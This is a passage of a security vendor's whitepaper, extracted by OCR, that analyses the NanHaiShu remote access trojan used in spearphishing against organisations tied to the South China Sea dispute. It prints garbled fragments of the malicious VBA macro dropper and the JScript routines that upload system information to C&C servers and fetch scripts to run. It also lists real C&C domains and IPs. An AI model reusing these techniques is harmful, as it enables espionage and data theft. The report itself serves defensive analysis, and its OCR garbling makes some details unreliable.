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SUMMARY

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat
actor behind this malware targets government and private-sector organizations. Notable targets of

the malware include the Department of Justice of the Philippines, the organizers of the Asia-Pacific
Economic Cooperation (APEC) Summit and a major international law firm.

We believe these entities were targeted for their involvement in a dispute centering on the South China
Sea. The conflicting territorial claims at the heart of the issue were addressed by an international tribunal
on 12t July 2016". Based on the specific selection of organizations targeted for attack by this malware, as
well as indications revealed in our technical analysis of the malware itself, we believe the threat actor to

be of Chinese origin.

We saw the first sample of NanHaiShu in the wild for the last couple years, and as of March 2016, it is still
being actively distributed. Technically speaking, the malware is a Remote Access Trojan (RAT) that is
spread in spearphishing email messages which contain the malware as a malicious file attachment. The
contents of the email message include, among other things, industry-specific terms that indicate they
were deliberately designed with the specific targets in mind.

The attached file contains a VBA macro that executes an embedded JScript file. It is likely that the threat
actor knew the targets use VBA macros in their business environment, since the attack only works if the
default security setting in Microsoft Office is modified to allow macro execution.

Once installed on a machine in the target network, NanHaiShu sends information from the infected
machine to a remote command and control (C&C) server.
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INTELLIGENCE

ATTACK OVERVIEW

Infection vector

The threat actor uses spearphishing email messages to
deliver the malware to their targets, with the text contents
of the emails carefully crafted (or ‘socially engineered”)

to the recipients. For example, the content of the email
messages used to target the law firm included text related
to salary or financial matters (Image 1).

The care displayed in crafting the contents of the
spearphishing emails indicates the level of effort made by
the threat actor to convince recipients that the emails were
legitimate.

Target details

The common denominator among the targets selected
is that they have some relation to the territorial dispute
revolving around the South China Sea.

Targets included the Department of Justice of the
Philippines, the organizers of the Asia-Pacific Economic
Cooperation (APEC) Summit and an international law firm
representing one of the involved parties.

Philippines Department of Justice

The Department of Justice of the Philippines has been
involved in the arbitration case filed by that country against
China®.

APEC organizers

A sample we recently encountered used a theme related
to the Economic Leader’s Meeting (AELM), an event tied
to the APEC Summit that was held in the Philippines in
November 2015 In the leadup to the event,news reports
had indicated that the South China Sea dispute was
expected to be tabled and addressed by the ministerst*!.

Major international law firm

This major international law firm represents nation states in
arbitration cases involving the United Nations Convention
on the Law of the Sea. Since 2013, this firm has been
representing one of the parties in its disputel®,

Prior to publication, we made an attempt to reach out to
the organizations that we identified as targets and notified
them of this threat. Per request, some details have been
withheld from inclusion in this public report.

TARGETING LAW FIRM EMPLOYEES

[ From: [ |

To:
Cc:
Subject:

IMAGE 1: SPEAR FISHING EMAIL

FW': Salary and Bonus Data

Attachments: @_]Salary and Bonus Data.xls

Subject: Salary and Bonus Data

Based on some feedback we have recerved abou
like to clarfyv one point that appears to have causg
range of the mean, median and mode for the clasq
figures for the various classes (and the senior grou
the range of salaries and or bonuses from bottom

ate welcome to costact I

Please see attached file for vour reference.
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TIMELINE

Multiple NanHaiShu samples were discovered over the
course of the investigation. Of the samples collected, a
particular subset was tasked with gathering intelligence
related to the South China Sea arbitration case.

Distribution of this subset of samples started from January
13t 2015. The file “DOJ Staff bonus January 13, 2015.

xls” was seen just a month after the Permanent Court

of Arbitration posted a third press release about the
arbitration case between the two countries.

The press release announced that the Philippines
(represented by the law firm) had until March 15 2015

to submit supplemental arguments on their case, while
China had until June 16" 2015 to provide a response to the
submission.

Two attacks happened between the two aforementioned
deadlines:

* After the Philippines’ deadline, a document file
with a filename that referenced the company
name was sent to the law firm.

* Another file that also targeted the lawyers used
the name “Salary and Bonus Data.x|s” and was
released on May 22t 2015, or barely a month
before China’s deadline.

We saw another sample of this threat also being
distributed using a file named “AELM Entertainment
budget and Attendance allowance.xls”.

This file was seen in the wild on October 2" 2015, more
than a month prior to the actual event in the Philippines.
The event was attended by, among others, Chinese
President Xi Jinping and US President Barack Obama; one
of the main topics that was expected to be tabled during
the event was the South China Sea disputet**.

On October 26 2015, there were multiple news reports
about the movement of US military ships in the South
China Seal®. In the exact same time frame, there was

a notable change in the C&C servers contacted by the
malware (see Attribution & Links section).
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PRESS RELEASE

Arbitration between the Republic of the Philippines
and the People’s Republic of China

Hague, 17 December 2014
Arbitral Tribunal Requests Further Written Argument from the Philippines

Arbitral Tribunal in the case brought by the Republic of the Philippines against the People’s Repul
under Annex VII to the United Nations Convention on the Law of the Sea has issued it
tural Order, taking note of China's decision not to submit a Counter-Memorial by the fixed
=mber 2014 and requesting further written argument from the Philippines on specific issues.

lance with the Arbitral Tribunal’s Procedural Order No. 1, dated 27 August 2013, the P}
=morial on 30 March 2014, addressing matters relating to the jurisdiction of the Arbitrg
4 hility of the Philippines’ claim, and the merits of the dispute. In Procedural Ordg
nal fixed 15 December 2014 as the date for China to submit its Counter-Memoy
as' Memorial. In Procedural Order No. 3, the Arbitral Tribunal noted that ag
ot filed a Counter-Memorial and that the Chinese Government has rgg
articipate in the arbitration unilaterally initiated by the Philig
at although its members had been furnished with cons
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IMAGE 2: VARIABLE NAMES ATTRIBUTION

ado_stream xml_dom tmphode basetd ‘!

Did you mean: ado_stream xmi_dom tmp Node bases4

HXMLDOMFIADODB. Streamzz Flbase64 8 ERa2 IR ., - R Z FFHLA
m.jb51_netarticle/25452 him = Translate this page
ar tmpMode = xml_dom createE iCimpNode” ). tmpNode dataType = “bin basebd”

ado_stroam, Type = 1 1=adTypeBmary fiado_stream state==0)

EXMLDOMFADODB. Stream ik Sl base64EENAZ TR ... - php+ X[
\M’ W, Dn" Ccnijs-tutorial-20833. hmi ~ Translate this DCIgE‘
16 - Stream”); var tmpNode = xml_dom createElement"impNode™) tmpNode data

""" 1 basebd”. ado_stream Type = 1 1=adTypeBinary

EXMLDOMFADODB. Stream = T base6d 58 FLAZEL S0 (50

UI‘uI‘I LN Xy Z AW |: D"'LII.'I') J‘H mtmil THI’!-E'B[E‘ this page

Moda = al sonpbincls doraT = hin b Sl

Search results for the variable names in
NanHaiShu’s base64 decoder function

IMAGE 3: CODE COMPARISON

Function Baset4ToFile(Base6d4Str, ZileName)

Set ado_stream = CreateCbject ("ADODE,.Stream")
Set xwl dowm = CreateChject ("MSZNLZ . DOMDocument™)
Ser tmppNode = xml dom.createElemsnt ("tmpNode”)

trmplode . DataType = "bin.basss4"

chpllode. Text = EBasecdStr

ado_scream.Type = 1

ado_stream.Open

ado_stream.vrite (tmplNode.nodeTypediValue)
ado stream.savetorlle rileNawe
ado_sctream.Close

. D

function Base64DecodeText(Base645tr){

var xml_dom = new ActiveXObject("MSXML2.DOMDocument”);
var ado_stream = new ActiveXObject("ADODB.Stream");
var tmpNode = xml dom.createElement("tmpNode");

tmpNode.dataType = “bin.baset4";
tmpNode.text = Base64Str;

ado stream.Charset = "gh2312";
ado stream.Type = 1; // 1 =adTypeBinary 2=adTypeText
ado stream.Open();

ado_stream Write(tmpNode.nodeTypedValue);

ATTRIBUTION & LINKS

The malware’s VBA base64 decoder function seems to
be popular among Chinese programmers - searching for
the variable names on the Internet leads to a handful of
Chinese websites (Image 2).

The variables initialization used by the VBA malware script
appears to be a forked version of the Javascript base64
decoder. This latter code was publicly available in a blog
post from the Chinese Software Developer Network
(CSDN) website (Image 3), as early as 2005.

NanHaiShu samples initially had most of their C&C
servers resolve to IP addresses hosted in the United States
(specifically, to cloud computing service providers).

On October 26t 2015 however, all of the malware’s C&C
servers pointed to the IP address 103.238.224.218 (Image
4), an IP hosted from a Chinese AS, coinciding with news
reports of US ship movements in the South China Sea 7.

Our technical analysis indicates a notable orientation
towards code and infrastructure associated with
developers in mainland China. In addition, we also
consider it significant that the selection of organizations
targeted for infiltration are directly relevant to topics that
are considered to be of strategic national interest to the
Chinese government. Based on these points, we believe
that the threat actor is of Chinese origin.

CONSEQUENCES

NanHaiShu is a Remote Access Trojan (RAT) and thus

is able to send system information from an infected
machine to a remote C&C server. It is capable of receiving
and executing additional JScript and VBScript code. The
RAT can also download any file the attacker pleases.

The downloaded files or scripts may then be used for
exfiltration of data that is likely to be highly sensitive,
given the profile of its targets.

IMAGE 4: C&C SERVERS

NanHaiShu’s VBA base64 decoder (top) vs.
publicly available JavaScript base64 decoder (bottom)

64.62.189.195 O

‘ 64.62.189.221
I mintty.ignorelist.com

eholidays.moo.com 103.238.224.218
O ‘ humans.mooo.info O

presentation.twilightparadox.com

54.87.87.13 mines.port0.org 54.242.66.219
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TECHNICAL ANALYSIS

INFECTION SEQUENCE

NanHaiShu arrives via a spearphishing email message with a file attachment. The emails are sent out from free email
service providers and as with most such messages, use socially engineered text content to entice the user into opening
the attachment. The file is usually an XLS, but may also be a DOC file. Regardless of format, the attached document
contains a malicious macro.

In most major business environments today, the ability to run macros is disabled by default in the security settings for
Microsoft Office programs. If this setting has been modified however, or if the individual user is permitted to enable
macros, it is still possible for macro code to be launched.

Office will display a notification message before the macro code can be executed:

IMAGE 5: MACRO SECURITY WARNING

H 5 AELM Entertainment budgetand Att... 7 B - 0B X
HOME INSER PAGE FORM DATA REVIE VIEW DEVEL o
| SECURITY WARNING Macros have been disabled. Enable Content . X
Al - Jx v
A B C D E F G Bl
o[ ]
2
Sheetl | @ «. 3

The user must actively enable the macros in the document for the attack to continue. If the user unwittingly does so, the
VBA macro decodes and runs.

IMAGE 6: VBA MACRO DECODES AND EXECUTES THE JSCRIPT

"IixhPWEr I1ZvbHVLZSEBuYW11l0iAi K2 UuVm9sdiWl 1 TnFtZ5s1XHIchilg
"erwWhazt JYXN1IDE6YSsS9I1J1bW9Z2YWIsZ5I7Ynd L¥Us?YZFzZ25AyOmE
"LVJPTSITYndlYUs7Y2FzZSA10mEr PSJSQUOgICEBEaXNr In1hKz0iXHJ o
"e3BhY2ZUEICIrZ55Uh3 RhbFNpemUvHTAYNCEXMDIOLzEwHjQr Ikdeo 1xy
"InljYERJjaChoKEthPWEraCstiiNzYWdlKydJeclxuInlhKz01XHIchidgy
"e3J1dHVybiBHEZEZRDAXIyZWSOVEN 1c INJRCgp£X0sDOpUaWl lOntOb3cH
evul = evul "AGlvbiBDb3J1KC 1 7dmF vy IGEINDt nVEIsPURzKGAVemupO2 dBdXRvenVy
evul = evul "anVidCgpOzsped ZheiBiPUIunSyhWF0aWoukCks Y101 YWNOaWSuPWFH

evul = evul &£
&
&
&
&
&
&
&

evul = evul & "T2YoInRyeS3B)jYZRjaCBlendvoiIpfHuxPj1ljLlmxlbmd0laClhKysstzAg
&
&
&
&
&
&
&
&
&

evul = evul
evul = evul
evul = evul
evul = evul
evul = evul

evul = evul "I2x1ZXBUaWll1KToyMDwOYTOXUZNyaXB0L 1N ZWWwKDQgZ 1IN ZUVwWVG 1t
evul = evul "ZXAoMipnUZ2x1ZXBUaWllKTolPD1hJiZXUZNyaXBOL INsZWWwKGAThGV )
evul = evul "YyksTz1iLnNuwbGlOKCI£X18iKSwlNC i ThPTHubGVuZ3 RoKVErKywzHDwd
evul = evul "BV leFRphWUpOj IwPD1hP1dTY3JpecHOUUZ x 1 ZXAoNCpnUZx LZXEUalll )
evul = evul "eCogyKndThGV 1cFRphWUpOjUSPWEmMI LATY3 JpcHOQUUZ X LZXA0Z 1NS 2V
evul = evul "dGNoKENvbhbW1lhbmROYXJ zZXIucGFycZ Uo YiwhMC lbHFOudG9 b 3dleckNH
evul = evul "InVZYWwiCwmISRXh1Y3VOZUphdwF TY3JpcHQoYiSyZXEsYWN LKCT ldmF g
evul = evul "dHI phrndFonMvIGUoYikrIiZzaWQSIitjWzFdO1Bve3QoZ1VybCxiKY14
evul = evul "eHQiLCJo ZWxshy IpO0ONvemUoKTsNCg==""

Base64ToFile evul, Esfile
cmd = "wscript.exe " & Esfile
Shell crd

6 NANHAISHU RATing the South China Sea



In most of the samples, two sets of Base64 encoded files are embedded in the VBA macro. For the recent sample, the VBA
macro will decode and first write JScript data to “%appdata%\Microsoft\Network\network.js”, then execute it.

IMAGE 7: VBA MACRO DECODES & OPENS DECOY XLS FILE

xvul = xvul
xvul = xvul
Xxvul = xvul
xvul = xvul
xvul = xvul
xvul = xvul
xvul = xwvul
®vul = xvul
xvul = xvul

MAARAMAMAAARARARRAAARAARAAAARAAAARAARARARRARARRRAS ST
"AAAAAAAAAARAAALAAMAARARARARARAAAANANAAADADADAAARRARALANAR
"AALALARAAAAAAAAANAAAAAARARAARARALAARARAADAMAMARRAARALALAL
"ARMRARS A AP S oA AR AR AR AR AN RAARRARAAANANRRRRARAAD
"TWljcm9zhZ ZOIESWZIml j Z5EFeGNIbCAYNDAZ IFdvemt ZzaGV IAAAGALLL
"ARARAAAAARAAAAAAAAAAARARARARARARALARAAAAADAMAAAAAARRAARAAL
"ARARAAAAARALALAAAMALALALARARARARALARALARALRAARARAARARLRLLL
"AAAARAAAANAAAAAAAAAAARARARAARARARAARARARARAMAARARARALALAN
"ARARAARARAAAAAAAAAARARARARRAAAARANARARARARAADARDARARALARLAL

e B B B @ @ B

Base64ToFile xvul, Dfile

Set fs = CreateObject ("Scripting.FileSystemObject”
Set a = fs.CreateTextFile(Jsfile, True)

a.WricelLine ("Dfilez = """ & oldfile & """")

a.WriteLine ("WScript.Sleep 500"

a.WriteLine ("CreateObject(""scripting.filesystemobject"").Deletefile D
a.Close

Workbooks.Open Dfile

Shell "escript /E:vhscript """ g Jsfile & """, vhHide
ThisWorkbook.Close

End Sub

The macro then decodes a decoy XLS file, which it saves to the current directory using the same filename as the malicious
XLS. The decoy is then loaded. Finally, the macro creates a VBScript file that will delete the original file.

Meanwhile, the network.js modifies the %regrun% registry to point to itself as its autostart mechanism.

The code will proceed to retrieve the following system information (Image 8, next page) and upload it to the C&C server:

Volume Serial Number
IP Address

Computer Name

User Name
Operating System

oA W =

Proxy Server

Afterwards, it waits for instructions from the server for a maximum interval of 10.584 seconds (or 6 * Ox6e4 ms).

RATing the South China Sea NANHAISHU 7



IMAGE 8: INFORMATION GATHERING ROUTINE

V3 ActlveXObJecttwnl

gUserName a.UserName C

var b -

{
a.ComputeriName =) a.UserName, c
XObject(wss). e c.ConnectServer("’ *“root
Enumerator({e.ExecQuery(” cE
k")): h.atEnd(); h.moveNext())

u .volumeserialnumber) {
.volumeserialnumber:;

\ tion Wher
at End(): h. movﬁhlext( ))

.IPAddress) {
() .IPAddress(0);

ArtlveXODJect{wssl. e -ConnectServer(”
Enuwerator{e ExecQuery ("
h.atEnd():) {

ActiveXObject(ws).
GetCurrentUserSID(
d.RegRead{ "HKEY USER
\ irrentvVersion

(1)
a.ComputerName,

N

ActiveXDbject(wss). e c.ConnectServer(".").
( Enumerator(e ExecOuery{ "'SELECT * FROM
Win32 Compu Y )) .item() .username
gUserName

(r) {}

md5 (b) = =

1=z

gVersion

8 NANHAISHU RATing the South China Sea



OBFUSCATION

The VBA macro uses base64 encoding to embed the decoy XLS and JScript file. For the recent sample, the URL string used
inside the JScript code was obfuscated in two layers; it had to be decoded using base64, then decrypted using a routine

that extracts and converts a Unicode number to a character.

IMAGE 9: ADDITIONAL OBFUSCATION ON TOP OF BASE64 ENCODING

(a) {

Baseb4) .decode(a, )i

rc ; € < a.length; c++) b

NETWORK TRAFFIC

The attackers utilize dynamic DNS providers for their C&C server; the server that the malware contacts is already included
the malicious JScript code. For the most recent sample, the communication between the malware and C&C server uses

this data structure before encoding:

md5(Volume Serial Number) | IP Address | Computer Name | User Name | Operating System | Proxy Server | Malware Version |

Below is the POST data example from an infected VM image:

action=aaa&data=N2RkZjMyZTE3YTZhYzVjZTAOYThlY2JmNzgyY2EIMDI8MTkyLjE20C4xLjF8Sm9obkRvZS1QQ3xKb2huRG

9|LVBDXEpvaGSEb2UoYWRtaW5pc3RyYXvai|8TW|jcm9ZbZZOIdebm Rvd3MgWFAgU HJvZmVzc2lvbmFsfHxqc25IWzEuNF
OsaWlwdCxwecnw=

The malware uses HTTP POST to upload the encoded system information and uses HTTP GET to download and execute
JScript and VBScript code.

IMAGE 10: THE FUNCTION THAT UPLOAD DATA, DOWNLOAD FILES AND EXECUTE SCRIPTS

ore() {
a H
gurl ds(gUrl):;

gAutorun
gDelself

SetAutoRun();
DeleteMyself():

(CreateIEObject();;) {

rb
b

}

b

Information()

"action 3

Post(gUrl, b)
e

StringEncode(b),

try catch error”®) a 7 WScript.Sleep( gSleeq

StringDecode(c), ¢ = b ")

a 7 WScript.Sleep(s gSléemeel Y -~ a 7 WScript.Sleep(: g9

“download" :

DownloadFormUrl(b);

cuteJavaScript(b. re

b - Shell(b)

"action=bbb&data=" + StringEncode(b) "&sid=" + c[1];

Post(gUrl, b)

RATing the South China Sea NANHAISHU
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OTHER NOTES

The JScript contains a constant variable named “gVersion”. The variable seems to be the malware name/version used by
the threat actor to identify the source of data.

The variable “gVersion” contained variations of the following strings:

1. hta[1.1]doj.m
2. jsne[1.3.3]pP
3. jsne[1.4],impt,pr

IMAGE 11: GVERSION VARIABLE

var gurl "XKioVGATE1RWWVdZUghFgF1TUNKoql10XVtcgFRFVKVYUBWSRINREOATUVFTURJUXFQ=",
gSleepTime 6E4,
gAutorun .
gDelself 1,
gProxyServer
gProxyUserPass
gUserAgent o i /5.0 (compatible; MSIE 9.09; Windows NT 6.1; Trident/5.0)".

gReferer "https://www.google.com",

gVersion “jsne[l.4].,impt,pr",

gUserName, gObjHttp, gNewName, CREDENTIALS FOR SERVER
CREDENTIALS FOR PROXY 1,

HTTPREQUEST PROXYSETTING PRECONFIG

HTTPREQUEST PROXYSETTING DIRECT ]

HTTPREQUEST PROXYSETTING PROXY

The gVersion of the recent JScript is “jsne[1.4],impt,pr”.

The HTA file dropped by the “DOJ Staff bonus January 13, 2015.xls” sample has the same JScript routines that exists in later
samples, but they are encapsulated inside an HTML format. The file is loaded using the MSHTA.EXE program, which opens
up the Internet Explorer. Compared with HTML, the HTA has more privileges that can create, edit and remove files and
registry entriest™.

IMAGE 12: HTML TAGS ENCAPSULATING THE MALWARE CODE

"

owlExampleHta
APPLICATIONNAME = "OWLEXAMPLEHTA"™
SCROLL = “no”
maximizeButton = "no”
minimizeButton = "no”
border = “none”
showInTaskbar = "no™
windowState = "normal”
innerBorder

navigable =
scroll = "noe
scrollFlat = “no”
caption = "no">»

&

var gurl ttp - cmmon . php™,
gSleepTime
gAutorun
ghelself
gProxysServer
gProxylUserPass
EUserAgent
gReferer "http
gVersion - "hta[1.1]

10 NANHAISHU RATing the South China Sea



The first SCRIPT tag moves the |E window outside the viewable area and hides it using the resizeTo command. The second
SCRIPT tag contains the JScript routine that are common among NanHaiShu samples.

The only difference between the HTA and the JScript files is that the C&C is not encrypted and it contains the SafelE
function, which modifies the “Internet Settings” and “Internet Explorer” registries to avoid any prompt related to running
unsafe ActiveX.

IMAGE 13: SAFEIE FUNCTION USED TO PREVENT ANY ACTIVEX PROMPT

ActiveXObiject(ws);

y |

gIEVall - a.RegRead(“HKCU'\\SOFTWARE' \Mi

Interne

Internet Explorer\\Styles\\MaxScriptStatements™, 214

RATing the South China Sea NANHAISHU 1
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https://www.thequardian.com/us-news/2015/oct/26/us-navy-destroyer-chinese-islands-south-china-sea

[10] Wikipedia; HTML Application; https://en.wikipedia.org/wiki/HTML Application
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APPENDIX A | SAMPLES

Table 1. Sample files

Hash________________|Firstseen | Usualfilename

al7769e8a2ac48f83076e3e1b6b24d71e6431d43
c66165a2fda061a2dc6415b99668c0b802bb26a0

da799a043e077fd7bdeleaalalfa32fd32bcfb25 [

dal3a8dlea5b245f612dal7ec7b252c45fd75adae

Table 2. C&C records

Date of IP Countr
resolution Y

al7769e8a2ac48f83076e3e1bb6b24d71e6431d43

c66165a2fda061a2dc6415b99668c0b802bb26a0

da799a043e077fd7bdeleaalalfa32fd32bcfb25 [

da3a8dlea5b245f612dal7ec7b252c45fd75adae

Reference

1. https://blogs.mcafee.com/mcafee-labs/stealthycyberespionagecampaign-attackswith-socialengineering/

2015-01-13 | DOJ Staff bonus January 13, 2015.xls

2015-04-07 | The draft Foley Hoag reform of the distribution of

shares and the remuneration system.xls

2015-05-27 | Salary and Bonus Data.xls

2015-10-02 | AELM Entertainment budget and Attendance
allowance.xls

mines.port0.org
mines.port0.org
eholidays.mooo.com

eholidays.mooo.com
humans.mooo.info

humans.mooo.info

presentation.
twilightparadox.com

presentation.
twilightparadox.com

mintty.ignorelist.com

mintty.ignorelist.com

54.87.87.13
103.238.224.218
54.87.87.13
103.238.224.218

54.242.66.219

103.238.224.218
64.62.189.196

103.238.224.218

64.62.189.221
103.238.224.218

2014-12-25

2015-10-26
2015-03-30
2015-10-26

2015-05-27

2015-10-26
2015-10-05

2015-10-26

2015-07-29
2015-10-26

CN
us
CN

us

CN
us

CN

us
CN
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APPENDIXB | IOCS

Dropped files

* %appdata%\Microsoft\Network\network.js
* %appdata%\Microsoft\Protect\CRED

Registry keys

* %regrun%\network
* %regrun%\protect
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